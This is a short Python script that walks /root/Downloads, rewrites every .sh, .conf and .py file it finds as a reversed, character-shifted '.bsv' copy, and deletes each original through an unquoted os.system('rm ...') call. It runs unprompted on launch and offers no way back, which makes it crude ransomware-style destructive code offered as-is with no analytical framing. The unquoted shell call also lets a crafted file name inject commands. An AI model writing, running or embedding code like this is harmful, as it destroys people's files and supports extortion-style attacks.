#!/usr/bin/python
import os
def encrypt(filename):
	f=open(filename,"r")
	f1=open(filename+".bsv","w")
	message=[]
	original=[]
	for char in f.read():
		message.append(char)
	i=len(message)-1
	while i>=0:
		original.append(message[i])
		i=i-1
	for revchar in original:
		if(revchar==' '):
			f1.write(str(chr(145)))
		else:
			f1.write(str(chr(ord(revchar)+23))) 
	os.system("rm "+filename)
	f.close()
	f1.close()

def sh():
        for root,dirs,files in os.walk("/root/Downloads",topdown=True):
                for i in files:
                        if(i[-3:] == ".sh"):
 
                                encrypt(os.path.abspath(os.path.join(root,i)))
                        if(i[-5:] == ".conf"):
                                encrypt(os.path.abspath(os.path.join(root,i)))
			if(i[-3:]==".py"):
				encrypt(os.path.abspath(os.path.join(root,i)))
sh()
